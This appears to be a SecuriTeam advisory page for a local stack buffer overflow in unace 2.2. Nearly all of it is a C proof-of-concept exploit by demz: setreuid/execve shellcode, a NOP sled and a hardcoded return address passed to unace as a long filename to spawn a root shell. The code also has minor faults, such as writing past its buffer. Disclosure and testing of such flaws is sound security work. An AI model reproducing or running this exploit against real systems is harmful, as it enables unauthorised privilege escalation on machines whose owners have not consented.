SecuriTeam - Unace Exploitable Buffer Overflow (Filename)

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

An exploitable buffer overflow in unace has been found, the vulnereability will allow local attackers to cause the product to execute abitrary code. The following exploit code can be used to test the software for the vulnerability.

Credit:
The information has been provided by demz.

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Vulnerable systems:
* Unace version 2.2

Exploit:
/* gEEk-unace.c
*
* PoC exploit made for advisory based uppon an local stack based overflow.
* Vulnerable versions, maybe also prior versions:
*
*
* Tested on: Debian 3.0
*
* Advisory source: MegaHz
*
* -----------------------------------------
* coded by: demz (geekz.nl) (demz@geekz.nl)
* -----------------------------------------
*
*/

#include <stdio.h>
#include <stdlib.h>

char shellcode[]=

  "\x31\xc0" // xor eax, eax
        "\x31\xdb" // xor ebx, ebx
        "\x31\xc9" // xor ecx, ecx
        "\xb0\x46" // mov al, 70
        "\xcd\x80" // int 0x80

        "\x31\xc0" // xor eax, eax
        "\x50" // push eax
        "\x68\x6e\x2f\x73\x68" // push long 0x68732f6e
        "\x68\x2f\x2f\x62\x69" // push long 0x69622f2f
        "\x89\xe3" // mov ebx, esp
        "\x50" // push eax
        "\x53" // push ebx
        "\x89\xe1" // mov ecx, esp
        "\x99" // cdq
        "\xb0\x0b" // mov al, 11
        "\xcd\x80" // int 0x80

        "\x31\xc0" // xor eax, eax
        "\xb0\x01" // mov al, 1
        "\xcd\x80"; // int 0x80

int main()
{
  unsigned long ret = 0xbfffc260;

  char buffer[707];
  int i=0;

  memset(buffer, 0x90, sizeof(buffer));

  for (0; i < strlen(shellcode) - 1;i++)
  buffer[300 + i] = shellcode[i];

  buffer[707] = (ret & 0x000000ff);
  buffer[708] = (ret & 0x0000ff00) >> 8;
  buffer[709] = (ret & 0x00ff0000) >> 16;
  buffer[710] = (ret & 0xff000000) >> 24;
  buffer[711] = 0x0;

  printf("\nUnace v2.2 local exploit\n");
        printf("---------------------------------------- demz @ geekz.nl --\n");

  execl("./unace", "unace", "e", buffer, NULL);
}

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